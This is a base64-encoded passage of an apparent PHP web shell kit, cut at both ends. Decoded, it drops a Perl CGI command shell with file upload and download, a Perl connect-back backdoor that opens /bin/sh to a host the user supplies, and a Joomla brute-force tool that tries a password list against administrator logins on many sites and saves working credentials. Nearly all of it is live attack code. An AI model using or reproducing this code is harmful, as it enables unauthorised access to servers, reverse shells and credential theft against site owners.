kpiaUIwYUdseklHTmhjMlVzQ2lNZ2RHaGxJR1pwYkdVZ2FYTWdjbVZoWkNCaGJtUWdjMlZ1ZENCMGJ5QjBhR1VnWW5KdmQzTmxjaTRLSXkwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUXB6ZFdJZ1FtVm5hVzVFYjNkdWJHOWhaQXA3Q2draklHZGxkQ0JtZFd4c2VTQnhkV0ZzYVdacFpXUWdjR0YwYUNCdlppQjBhR1VnWm1sc1pTQjBieUJpWlNCa2IzZHViRzloWkdWa0NnbHBaaWdvSkZkcGJrNVVJQ1lnS0NSVWNtRnVjMlpsY2tacGJHVWdQWDRnYlM5ZVhGeDhYaTQ2THlrcElId0tDUWtvSVNSWGFXNU9WQ0FtSUNna1ZISmhibk5tWlhKR2FXeGxJRDErSUcwdlhsd3ZMeWtwS1NBaklIQmhkR2dnYVhNZ1lXSnpiMngxZEdVS0NYc0tDUWtrVkdGeVoyVjBSbWxzWlNBOUlDUlVjbUZ1YzJabGNrWnBiR1U3Q2dsOUNnbGxiSE5sSUNNZ2NHRjBhQ0JwY3lCeVpXeGhkR2wyWlFvSmV3b0pDV05vYjNBb0pGUmhjbWRsZEVacGJHVXBJR2xtS0NSVVlYSm5aWFJHYVd4bElEMGdKRU4xY25KbGJuUkVhWElwSUQxK0lHMHZXMXhjWEM5ZEpDODdDZ2tKSkZSaGNtZGxkRVpwYkdVZ0xqMGdKRkJoZEdoVFpYQXVKRlJ5WVc1elptVnlSbWxzWlRzS0NYMEtDZ2xwWmlna1QzQjBhVzl1Y3lCbGNTQWlaMjhpS1NBaklIZGxJR2hoZG1VZ2RHOGdjMlZ1WkNCMGFHVWdabWxzWlFvSmV3b0pDU1pUWlc1a1JtbHNaVlJ2UW5KdmQzTmxjaWdrVkdGeVoyVjBSbWxzWlNrN0NnbDlDZ2xsYkhObElDTWdkMlVnYUdGMlpTQjBieUJ6Wlc1a0lHOXViSGtnZEdobElHeHBibXNnY0dGblpRb0pld29KQ1NaUWNtbHVkRVJ2ZDI1c2IyRmtUR2x1YTFCaFoyVW9KRlJoY21kbGRFWnBiR1VwT3dvSmZRcDlDZ29qTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRDaU1nVkdocGN5Qm1kVzVqZEdsdmJpQnBjeUJqWVd4c1pXUWdkMmhsYmlCMGFHVWdkWE5sY2lCM1lXNTBjeUIwYnlCMWNHeHZZV1FnWVNCbWFXeGxMaUJKWmlCMGFHVUtJeUJtYVd4bElHbHpJRzV2ZENCemNHVmphV1pwWldRc0lHbDBJR1JwYzNCc1lYbHpJR0VnWm05eWJTQmhiR3h2ZDJsdVp5QjBhR1VnZFhObGNpQjBieUJ6Y0dWamFXWjVJR0VLSXlCbWFXeGxMQ0J2ZEdobGNuZHBjMlVnYVhRZ2MzUmhjblJ6SUhSb1pTQjFjR3h2WVdRZ2NISnZZMlZ6Y3k0S0l5MHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFFwemRXSWdWWEJzYjJGa1JtbHNaUXA3Q2draklHbG1JRzV2SUdacGJHVWdhWE1nYzNCbFkybG1hV1ZrTENCd2NtbHVkQ0IwYUdVZ2RYQnNiMkZrSUdadmNtMGdZV2RoYVc0S0NXbG1LQ1JVY21GdWMyWmxja1pwYkdVZ1pYRWdJaUlwQ2dsN0Nna0pKbEJ5YVc1MFVHRm5aVWhsWVdSbGNpZ2laaUlwT3dvSkNTWlFjbWx1ZEVacGJHVlZjR3h2WVdSR2IzSnRPd29KQ1NaUWNtbHVkRkJoWjJWR2IyOTBaWEk3Q2drSmNtVjBkWEp1T3dvSmZRb0pKbEJ5YVc1MFVHRm5aVWhsWVdSbGNpZ2lZeUlwT3dvS0NTTWdjM1JoY25RZ2RHaGxJSFZ3Ykc5aFpHbHVaeUJ3Y205alpYTnpDZ2x3Y21sdWRDQWlQR052WkdVK1ZYQnNiMkZrYVc1bklDUlVjbUZ1YzJabGNrWnBiR1VnZEc4Z0pFTjFjbkpsYm5SRWFYSXVMaTQ4WW5JK0lqc0tDZ2tqSUdkbGRDQjBhR1VnWm5Wc2JHeDVJSEYxWVd4cFptbGxaQ0J3WVhSb2JtRnRaU0J2WmlCMGFHVWdabWxzWlNCMGJ5QmlaU0JqY21WaGRHVmtDZ2xqYUc5d0tDUlVZWEpuWlhST1lXMWxLU0JwWmlBb0pGUmhjbWRsZEU1aGJXVWdQU0FrUTNWeWNtVnVkRVJwY2lrZ1BYNGdiUzliWEZ4Y0wxMGtMenNLQ1NSVWNtRnVjMlpsY2tacGJHVWdQWDRnYlNFb1cxNHZYbHhjWFNvcEpDRTdDZ2trVkdGeVoyVjBUbUZ0WlNBdVBTQWtVR0YwYUZObGNDNGtNVHNLQ2dra1ZHRnlaMlYwUm1sc1pWTnBlbVVnUFNCc1pXNW5kR2dvSkdsdWV5ZG1hV3hsWkdGMFlTZDlLVHNLQ1NNZ2FXWWdkR2hsSUdacGJHVWdaWGhwYzNSeklHRnVaQ0IzWlNCaGNtVWdibTkwSUhOMWNIQnZjMlZrSUhSdklHOTJaWEozY21sMFpTQnBkQW9KYVdZb0xXVWdKRlJoY21kbGRFNWhiV1VnSmlZZ0pFOXdkR2x2Ym5NZ2JtVWdJbTkyWlhKM2NtbDBaU0lwQ2dsN0Nna0pjSEpwYm5RZ0lrWmhhV3hsWkRvZ1JHVnpkR2x1WVhScGIyNGdabWxzWlNCaGJISmxZV1I1SUdWNGFYTjBjeTQ4WW5JK0lqc0tDWDBLQ1dWc2MyVWdJeUJtYVd4bElHbHpJRzV2ZENCd2NtVnpaVzUwQ2dsN0Nna0phV1lvYjNCbGJpaFZVRXhQUVVSR1NVeEZMQ0FpUGlSVVlYSm5aWFJPWVcxbElpa3BDZ2tKZXdvSkNRbGlhVzV0YjJSbEtGVlFURTlCUkVaSlRFVXBJR2xtSUNSWGFXNU9WRHNLQ1FrSmNISnBiblFnVlZCTVQwRkVSa2xNUlNBa2FXNTdKMlpwYkdWa1lYUmhKMzA3Q2drSkNXTnNiM05sS0ZWUVRFOUJSRVpKVEVVcE93b0pDUWx3Y21sdWRDQWlWSEpoYm5ObVpYSmxaQ0FrVkdGeVoyVjBSbWxzWlZOcGVtVWdRbmwwWlhNdVBHSnlQaUk3Q2drSkNYQnlhVzUwSUNKR2FXeGxJRkJoZEdnNklDUlVZWEpuWlhST1lXMWxQR0p5UGlJN0Nna0pmUW9KQ1dWc2MyVUtDUWw3Q2drSkNYQnlhVzUwSUNKR1lXbHNaV1E2SUNRaFBHSnlQaUk3Q2drSmZRb0pmUW9KY0hKcGJuUWdJand2WTI5a1pUNGlPd29KSmxCeWFXNTBRMjl0YldGdVpFeHBibVZKYm5CMWRFWnZjbTA3Q2drbVVISnBiblJRWVdkbFJtOXZkR1Z5T3dwOUNnb2pMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdENpTWdWR2hwY3lCbWRXNWpkR2x2YmlCcGN5QmpZV3hzWldRZ2QyaGxiaUIwYUdVZ2RYTmxjaUIzWVc1MGN5QjBieUJrYjNkdWJHOWhaQ0JoSUdacGJHVXVJRWxtSUhSb1pRb2pJR1pwYkdWdVlXMWxJR2x6SUc1dmRDQnpjR1ZqYVdacFpXUXNJR2wwSUdScGMzQnNZWGx6SUdFZ1ptOXliU0JoYkd4dmQybHVaeUIwYUdVZ2RYTmxjaUIwYnlCemNHVmphV1o1SUdFS0l5Qm1hV3hsTENCdmRHaGxjbmRwYzJVZ2FYUWdaR2x6Y0d4aGVYTWdZU0J0WlhOellXZGxJSFJ2SUhSb1pTQjFjMlZ5SUdGdVpDQndjbTkyYVdSbGN5QmhJR3hwYm1zS0l5QjBhSEp2ZFdkb0lDQjNhR2xqYUNCMGFHVWdabWxzWlNCallXNGdZbVVnWkc5M2JteHZZV1JsWkM0S0l5MHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFFwemRXSWdSRzkzYm14dllXUkdhV3hsQ25zS0NTTWdhV1lnYm04Z1ptbHNaU0JwY3lCemNHVmphV1pwWldRc0lIQnlhVzUwSUhSb1pTQmtiM2R1Ykc5aFpDQm1iM0p0SUdGbllXbHVDZ2xwWmlna1ZISmhibk5tWlhKR2FXeGxJR1Z4SUNJaUtRb0pld29KQ1NaUWNtbHVkRkJoWjJWSVpXRmtaWElvSW1ZaUtUc0tDUWttVUhKcGJuUkdhV3hsUkc5M2JteHZZV1JHYjNKdE93b0pDU1pRY21sdWRGQmhaMlZHYjI5MFpYSTdDZ2tKY21WMGRYSnVPd29KZlFvSkNna2pJR2RsZENCbWRXeHNlU0J4ZFdGc2FXWnBaV1FnY0dGMGFDQnZaaUIwYUdVZ1ptbHNaU0IwYnlCaVpTQmtiM2R1Ykc5aFpHVmtDZ2xwWmlnb0pGZHBiazVVSUNZZ0tDUlVjbUZ1YzJabGNrWnBiR1VnUFg0Z2JTOWVYRng4WGk0Nkx5a3BJSHdLQ1Frb0lTUlhhVzVPVkNBbUlDZ2tWSEpoYm5ObVpYSkdhV3hsSUQxK0lHMHZYbHd2THlrcEtTQWpJSEJoZEdnZ2FYTWdZV0p6YjJ4MWRHVUtDWHNLQ1Fra1ZHRnlaMlYwUm1sc1pTQTlJQ1JVY21GdWMyWmxja1pwYkdVN0NnbDlDZ2xsYkhObElDTWdjR0YwYUNCcGN5QnlaV3hoZEdsMlpRb0pld29KQ1dOb2IzQW9KRlJoY21kbGRFWnBiR1VwSUdsbUtDUlVZWEpuWlhSR2FXeGxJRDBnSkVOMWNuSmxiblJFYVhJcElEMStJRzB2VzF4Y1hDOWRKQzg3Q2drSkpGUmhjbWRsZEVacGJHVWdMajBnSkZCaGRHaFRaWEF1SkZSeVlXNXpabVZ5Um1sc1pUc0tDWDBLQ2dscFppZ2tUM0IwYVc5dWN5QmxjU0FpWjI4aUtTQWpJSGRsSUdoaGRtVWdkRzhnYzJWdVpDQjBhR1VnWm1sc1pRb0pld29KQ1NaVFpXNWtSbWxzWlZSdlFuSnZkM05sY2lna1ZHRnlaMlYwUm1sc1pTazdDZ2w5Q2dsbGJITmxJQ01nZDJVZ2FHRjJaU0IwYnlCelpXNWtJRzl1YkhrZ2RHaGxJR3hwYm1zZ2NHRm5aUW9KZXdvSkNTWlFjbWx1ZEVSdmQyNXNiMkZrVEdsdWExQmhaMlVvSkZSaGNtZGxkRVpwYkdVcE93b0pmUXA5Q2dvakxTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0Q2lNZ1RXRnBiaUJRY205bmNtRnRJQzBnUlhobFkzVjBhVzl1SUZOMFlYSjBjeUJJWlhKbENpTXRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwS0psSmxZV1JRWVhKelpUc0tKa2RsZEVOdmIydHBaWE03Q2dva1UyTnlhWEIwVEc5allYUnBiMjRnUFNBa1JVNVdleWRUUTFKSlVGUmZUa0ZOUlNkOU93b2tVMlZ5ZG1WeVRtRnRaU0E5SUNSRlRsWjdKMU5GVWxaRlVsOU9RVTFGSjMwN0NpUk1iMmRwYmxCaGMzTjNiM0prSUQwZ0pHbHVleWR3SjMwN0NpUlNkVzVEYjIxdFlXNWtJRDBnSkdsdWV5ZGpKMzA3Q2lSVWNtRnVjMlpsY2tacGJHVWdQU0FrYVc1N0oyWW5mVHNLSkU5d2RHbHZibk1nUFNBa2FXNTdKMjhuZlRzS0NpUkJZM1JwYjI0Z1BTQWthVzU3SjJFbmZUc0tKRUZqZEdsdmJpQTlJQ0pzYjJkcGJpSWdhV1lvSkVGamRHbHZiaUJsY1NBaUlpazdJQ01nYm04Z1lXTjBhVzl1SUhOd1pXTnBabWxsWkN3Z2RYTmxJR1JsWm1GMWJIUUtDaU1nWjJWMElIUm9aU0JrYVhKbFkzUnZjbmtnYVc0Z2QyaHBZMmdnZEdobElHTnZiVzFoYm1SeklIZHBiR3dnWW1VZ1pYaGxZM1YwWldRS0pFTjFjbkpsYm5SRWFYSWdQU0FrYVc1N0oyUW5mVHNLWTJodmNDZ2tRM1Z5Y21WdWRFUnBjaUE5SUdBa1EyMWtVSGRrWUNrZ2FXWW9KRU4xY25KbGJuUkVhWElnWlhFZ0lpSXBPd29LSkV4dloyZGxaRWx1SUQwZ0pFTnZiMnRwWlhON0oxTkJWa1ZFVUZkRUozMGdaWEVnSkZCaGMzTjNiM0prT3dvS2FXWW9KRUZqZEdsdmJpQmxjU0FpYkc5bmFXNGlJSHg4SUNFa1RHOW5aMlZrU1c0cElDTWdkWE5sY2lCdVpXVmtjeTlvWVhNZ2RHOGdiRzluYVc0S2V3b0pKbEJsY21admNtMU1iMmRwYmpzS2ZRcGxiSE5wWmlna1FXTjBhVzl1SUdWeElDSmpiMjF0WVc1a0lpa2dJeUIxYzJWeUlIZGhiblJ6SUhSdklISjFiaUJoSUdOdmJXMWhibVFLZXdvSkprVjRaV04xZEdWRGIyMXRZVzVrT3dwOUNtVnNjMmxtS0NSQlkzUnBiMjRnWlhFZ0luVndiRzloWkNJcElDTWdkWE5sY2lCM1lXNTBjeUIwYnlCMWNHeHZZV1FnWVNCbWFXeGxDbnNLQ1NaVmNHeHZZV1JHYVd4bE93cDlDbVZzYzJsbUtDUkJZM1JwYjI0Z1pYRWdJbVJ2ZDI1c2IyRmtJaWtnSXlCMWMyVnlJSGRoYm5SeklIUnZJR1J2ZDI1c2IyRmtJR0VnWm1sc1pRcDdDZ2ttUkc5M2JteHZZV1JHYVd4bE93cDlDbVZzYzJsbUtDUkJZM1JwYjI0Z1pYRWdJbXh2WjI5MWRDSXBJQ01nZFhObGNpQjNZVzUwY3lCMGJ5QnNiMmR2ZFhRS2V3b0pKbEJsY21admNtMU1iMmR2ZFhRN0NuMEsnOw0KDQokZmlsZSA9IGZvcGVuKCJpem8uY2luIiAsIncrIik7DQokd3JpdGUgPSBmd3JpdGUgKCRmaWxlICxiYXNlNjRfZGVjb2RlKCRjZ2lzaGVsbGl6b2NpbikpOw0KZmNsb3NlKCRmaWxlKTsNCiAgICBjaG1vZCgiaXpvLmNpbiIsMDc1NSk7DQokbmV0Y2F0c2hlbGwgPSAnSXlFdmRYTnlMMkpwYmk5d1pYSnNEUW9nSUNBZ0lDQjFjMlVnVTI5amEyVjBPdzBLSUNBZ0lDQWdjSEpwYm5RZ0lrUmhkR0VnUTJoaA0KTUhNZ1EyOXVibVZqZENCQ1lXTnJJRUpoWTJ0a2IyOXlYRzVjYmlJN0RRb2dJQ0FnSUNCcFppQW9JU1JCVWtkV1d6QmRLU0I3RFFvZw0KSUNBZ0lDQWdJSEJ5YVc1MFppQWlWWE5oWjJVNklDUXdJRnRJYjNOMFhTQThVRzl5ZEQ1Y2JpSTdEUW9nSUNBZ0lDQWdJR1Y0YVhRbw0KTVNrN0RRb2dJQ0FnSUNCOURRb2dJQ0FnSUNCd2NtbHVkQ0FpV3lwZElFUjFiWEJwYm1jZ1FYSm5kVzFsYm5SelhHNGlPdzBLSUNBZw0KSUNBZ0pHaHZjM1FnUFNBa1FWSkhWbHN3WFRzTkNpQWdJQ0FnSUNSd2IzSjBJRDBnT0RBN0RRb2dJQ0FnSUNCcFppQW9KRUZTUjFaYg0KTVYwcElIc05DaUFnSUNBZ0lDQWdKSEJ2Y25RZ1BTQWtRVkpIVmxzeFhUc05DaUFnSUNBZ0lIME5DaUFnSUNBZ0lIQnlhVzUwSUNKYg0KS2wwZ1EyOXVibVZqZEdsdVp5NHVMbHh1SWpzTkNpQWdJQ0FnSUNSd2NtOTBieUE5SUdkbGRIQnliM1J2WW5sdVlXMWxLQ2QwWTNBbg0KS1NCOGZDQmthV1VvSWxWdWEyNXZkMjRnVUhKdmRHOWpiMnhjYmlJcE93MEtJQ0FnSUNBZ2MyOWphMlYwS0ZORlVsWkZVaXdnVUVaZg0KU1U1RlZDd2dVMDlEUzE5VFZGSkZRVTBzSUNSd2NtOTBieWtnZkh3Z1pHbGxJQ2dpVTI5amEyVjBJRVZ5Y205eVhHNGlLVHNOQ2lBZw0KSUNBZ0lHMTVJQ1IwWVhKblpYUWdQU0JwYm1WMFgyRjBiMjRvSkdodmMzUXBPdzBLSUNBZ0lDQWdhV1lnS0NGamIyNXVaV04wS0ZORg0KVWxaRlVpd2djR0ZqYXlBaVUyNUJOSGc0SWl3Z01pd2dKSEJ2Y25Rc0lDUjBZWEpuWlhRcEtTQjdEUW9nSUNBZ0lDQWdJR1JwWlNnaQ0KVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1JjYmlJcE93MEtJQ0FnSUNBZ2ZRMEtJQ0FnSUNBZ2NISnBiblFnSWxzcVhTQlRjR0YzYm1sdQ0KWnlCVGFHVnNiRnh1SWpzTkNpQWdJQ0FnSUdsbUlDZ2habTl5YXlnZ0tTa2dldzBLSUNBZ0lDQWdJQ0J2Y0dWdUtGTlVSRWxPTENJKw0KSmxORlVsWkZVaUlwT3cwS0lDQWdJQ0FnSUNCdmNHVnVLRk5VUkU5VlZDd2lQaVpUUlZKV1JWSWlLVHNOQ2lBZ0lDQWdJQ0FnYjNCbA0KYmloVFZFUkZVbElzSWo0bVUwVlNWa1ZTSWlrN0RRb2dJQ0FnSUNBZ0lHVjRaV01nZXljdlltbHVMM05vSjMwZ0p5MWlZWE5vSnlBdQ0KSUNKY01DSWdlQ0EwT3cwS0lDQWdJQ0FnSUNCbGVHbDBLREFwT3cwS0lDQWdJQ0FnZlEwS0lDQWdJQ0FnY0hKcGJuUWdJbHNxWFNCRQ0KWVhSaFkyaGxaRnh1WEc0aU93PT0nOw0KDQokZmlsZSA9IGZvcGVuKCJkYy5wbCIgLCJ3KyIpOw0KJHdyaXRlID0gZndyaXRlICgkZmlsZSAsYmFzZTY0X2RlY29kZSgkbmV0Y2F0c2hlbGwpKTsNCmZjbG9zZSgkZmlsZSk7DQogICAgY2htb2QoImRjLnBsIiwwNzU1KTsNCiAgIGVjaG8gIjxpZnJhbWUgc3JjPWNnaXRlbG5ldDEvaXpvLmNpbiB3aWR0aD05NiUgaGVpZ2h0PTkwJSBmcmFtZWJvcmRlcj0wPjwvaWZyYW1lPiANCg0KIA0KIDwvZGl2PiI7IH0NCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCg0KDQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ2picnV0ZScpKSANCnsgDQo/Pg0KPGZvcm0gYWN0aW9uPSI/eT08P3BocCBlY2hvICRwd2Q7ID8+JmFtcDt4PWpicnV0ZSIgbWV0aG9kPSJwb3N0Ij4NCg0KCTxtZXRhIG5hbWU9ImF1dGhvciIgY29udGVudD0iUmV0bk9IYWNLIiAvPg0KICAgIDxtZXRhIG5hbWU9ImtleXdvcmRzIiBjb250ZW50PSJKb29tbGEsIEJydXRlciwgSm9vbWxhQnJ1dGVyLCBKb29tbGFCcnV0ZXJGb3JjZSwgSm9vbWxhQnJ1dGVyRm9yY2VPbmxpbmUiIC8+DQogICAgPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IlJldG5PSGFjSyAjUHJvY29kZXIneiBUZWFtIEFsYmFuaWFuIiAvPg0KPGNlbnRlcj4NCjwvYnI+PC9icj4NCjxjZW50ZXI+PGI+PGZvbnQgY29sb3I9ImxpbWUiPi0tPT1bIEpvb21sYSBCcnV0ZXIgRm9yY2UgXT09LS08L2ZvbnQ+PC9iPjxiciAvPjxiciAvPg0KPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+IA0KPHRhYmxlIGNsYXNzPSJ0YWJuZXQiIHdpZHRoPSIzOCUiIGJvcmRlcj0iMCI+PGNlbnRlcj4NCjx0aCBjb2xzcGFuPSIyIj5Kb29tbGEgQnJ1dGUgRm9yY2U8L3RoPg0KPHRyPjx0ZD48cCA+PGZvbnQgIGNsYXNzPSJkMSI+VXNlciA6PC9mb250PjwvdGg+DQo8aW5wdXQgY2xhc3M9ImlucHV0eiIgdHlwZT0ndGV4dCcgbmFtZT0idXNyIiB2YWx1ZT0iYWRtaW4iIHNpemU9IjE1Ij4gPC9mb250PjwvY2VudGVyPjxiciAvPjxiciAvPjwvcD4NCjwvdGQ+PC90cj4NCjx0cj48dGQ+PGZvbnQgY2xhc3M9IiI+U2l0ZXMgbGlzdCA6PC9mb250PiANCjwvdGQ+PHRkPjxmb250IGNsYXNzPSIiID5QYXNzIGxpc3QgOjwvZm9udD48L3RkPjwvdHI+DQo8dHI+DQoJCTx0ZD4NCjx0ZXh0YXJlYSBuYW1lPSJzaXRlcyIgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7IiBjb2xzPSI0MCIgcm93cz0iMTMiID48L3RleHRhcmVhPg0KPC90ZD48dGQ+DQo8dGV4dGFyZWEgbmFtZT0idzByZHMiIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrOyIgY29scz0iNDAiIHJvd3M9IjEzIiA+DQphZG1pbg0KMTIzNDU2DQpwYXNzd29yZA0KMTAyMDMwDQoxMjMxMjMNCjEyMzQ1DQoxMjM0NTY3ODkNCnBhc3MNCnRlc3QNCmFkbWluMTIzDQpkZW1vDQohQCMkJV4NCjwvdGV4dGFyZWE+DQo8L3RkPjwvdHI+PGNlbnRlcj48dHI+PHRkPg0KPGZvbnQgPiANCjxpbnB1dCBjbGFzcz0iaW5wdXR6YnV0IiB0eXBlPSJzdWJtaXQiIG5hbWU9IngiIHZhbHVlPSJzdGFydCIgaWQ9ImQ0Ij4gDQo8L2ZvbnQ+PC90ZD48L3RyPjxicj4NClRoYW5rcyB0byBwcm9jb2RlciwgVGVhbSBBbGJhbmlhbjxicj48L2NlbnRlcj48L3RhYmxlPg0KPC9mb3JtPjwvY2VudGVyPg0KPD8gDQpAc2V0X3RpbWVfbGltaXQoMCk7IA0KDQppZigkX1BPU1RbJ3gnXSl7IA0KDQplY2hvICI8aHI+IjsgDQoNCiRzaXRlcyA9IGV4cGxvZGUoIlxuIiwkX1BPU1RbInNpdGVzIl0pOyAvLyBHZXQgU2l0ZXMgDQokdzByZHMgPSBleHBsb2RlKCJcbiIsJF9QT1NUWyJ3MHJkcyJdKTsgLy8gR2V0IHcwcmRMaVN0IA0KDQokQXR0YWNrID0gbmV3IEpvb21sYV9icnV0ZV9Gb3JjZSgpOyAvLyBBY3RpdmUgQ2xhc3MgDQoNCg0KZm9yZWFjaCgkdzByZHMgYXMgJHB3ZCl7IA0KDQpmb3JlYWNoKCRzaXRlcyBhcyAkc2l0ZSl7IA0KDQoNCiRBdHRhY2stPmNoZWNrX2l0KHR4dF9jbG4oJHNpdGUpLCRfUE9TVFsndXNyJ10sdHh0X2NsbigkcHdkKSk7IC8vIEJydXRlIDpEIA0KZmx1c2goKTtmbHVzaCgpOyANCg0KfSANCg0KfSANCg0KfSANCg0KDQojIENsYXNzICYgRnVuY3Rpb24neiANCg0KZnVuY3Rpb24gdHh0X2NsbigkdmFsdWUpeyAgcmV0dXJuIHN0cl9yZXBsYWNlKGFycmF5KCJcbiIsIlxyIiksIiIsJHZhbHVlKTsgfSANCg0KY2xhc3MgSm9vbWxhX2JydXRlX0ZvcmNleyANCg0KcHVibGljIGZ1bmN0aW9uIGNoZWNrX2l0KCRzaXRlLCR1c2VyLCRwYXNzKXsgLy8gcHJpbnQgcmVzdWx0IA0KDQppZihlcmVnaSgnY29tX2NvbmZpZycsJHRoaXMtPnBvc3QoJHNpdGUsJHVzZXIsJHBhc3MpKSl7IA0KDQplY2hvICI8c3BhbiBjbGFzcz1cIngyXCI+PGI+IyBTdWNjZXNzIDogJHVzZXI6JHBhc3MgLT4gPGEgaHJlZj0nJHNpdGUvYWRtaW5pc3RyYXRvci9pbmRleC5waHAnPiRzaXRlL2FkbWluaXN0cmF0b3IvaW5kZXgucGhwPC9hPjwvYj48L3NwYW4+PEJSPiI7DQokZiA9IGZvcGVuKCJSZXN1bHQudHh0IiwiYSsiKTsgZndyaXRlKCRmICwgIlN1Y2Nlc3Mgfn4gJHVzZXI6JHBhc3MgLT4gJHNpdGUvYWRtaW5pc3RyYXRvci9pbmRleC5waHBcbiIpOyBmY2xvc2UoJGYpOyANCmZsdXNoKCk7IA0KfWVsc2V7IGVjaG8gIiMgRmFpbGVkIDogJHVzZXI6JHBhc3MgLT4gJHNpdGU8QlI+IjsgZmx1c2goKTt9IA0KDQp9IA0KDQpwdWJsaWMgZnVuY3Rpb24gcG9zdCgkc2l0ZSwkdXNlciwkcGFzcyl7IC8vIFBvc3QgLT4gdXNlciAmIHBhc3MgDQoNCiR0b2tlbiA9ICR0aGlzLT5leHRyYWN0X3Rva2VuKCRzaXRlKTsgDQoNCiRjdXJsPWN1cmxfaW5pdCgpOyANCg0KY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsgDQpjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1VSTCwkc2l0ZS4iL2FkbWluaXN0cmF0b3IvaW5kZXgucGhwIik7IA0KQGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfQ09PS0lFRklMRSwnY29va2llLnR4dCcpOyANCkBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX0NPT0tJRUpBUiwnY29va2llLnR4dCcpOyANCmN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfVVNFUkFHRU5ULCdNb3ppbGxhLzUuMCAoV2luZG93czsgVTsgV2luZG93cyBOVCA1LjE7IGVuLVVTOyBydjoxLjguMS4xNSkgR2Vja28vMjAwODExMTMxNyAgRmlyZWZveC8zLjAuNCcpOyANCkBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLDEpOyANCmN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfUE9TVCwxKTsgDQpjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1BPU1RGSUVMRFMsJ3VzZXJuYW1lPScuJHVzZXIuJyZwYXNzd2Q9Jy4kcGFzcy4nJmxhbmc9ZW4tR0Imb3B0aW9uPWNvbV9sb2dpbiZ0YXNrPWxvZ2luJicuJHRva2VuLic9MScpOyANCmN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfVElNRU9VVCwyMCk7IA0KDQokZXhlYz1jdXJsX2V4ZWMoJGN1cmwpOyANCmN1cmxfY2xvc2UoJGN1cmwpOyANCnJldHVybiAkZXhlYzsgDQoNCn0gDQoNCnB1YmxpYyBmdW5jdGlvbiBleHRyYWN0X3Rva2VuKCRzaXRlKXsgLy8gZ2V0IHRva2VuIGZyb20gc291cmNlIGZvciAtPiBmdW5jdGlvbiBwb3N0IA0KDQokc291cmNlID0gJHRoaXMtPmdldF9zb3VyY2UoJHNpdGUpOyANCg0KcHJlZ19tYXRjaF9hbGwoIi90eXBlPVwiaGlkZGVuXCIgbmFtZT1cIihbMC05YS1mXXszMn0pXCIgdmFsdWU9XCIxXCIvc2kiICwkc291cmNlLCR0b2tlbik7IA0KDQpyZXR1cm4gJHRva2VuWzFdWzBdOyANCg0KfSANCg0KcHVibGljIGZ1bmN0aW9uIGdldF9zb3VyY2UoJHNpdGUpeyAvLyBnZXQgc291cmNlIGZvciAtPiBmdW5jdGlvbiBleHRyYWN0X3Rva2VuIA0KDQokY3VybD1jdXJsX2luaXQoKTsgDQpjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOyANCmN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfVVJMLCRzaXRlLiIvYWRtaW5pc3RyYXRvci9pbmRleC5waHAiKTsgDQpAY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9DT09LSUVGSUxFLCdjb29raWUudHh0Jyk7IA0KQGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfQ09PS0lFSkFSLCdjb29raWUudHh0Jyk7IA0KY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9VU0VSQUdFTlQsJ01vemlsbGEvNS4wIChXaW5kb3dzOyBVOyBXaW5kb3dzIE5UIDUuMTsgZW4tVVM7IHJ2OjEuOC4xLjE1KSBHZWNrby8yMDA4MTExMzE3IC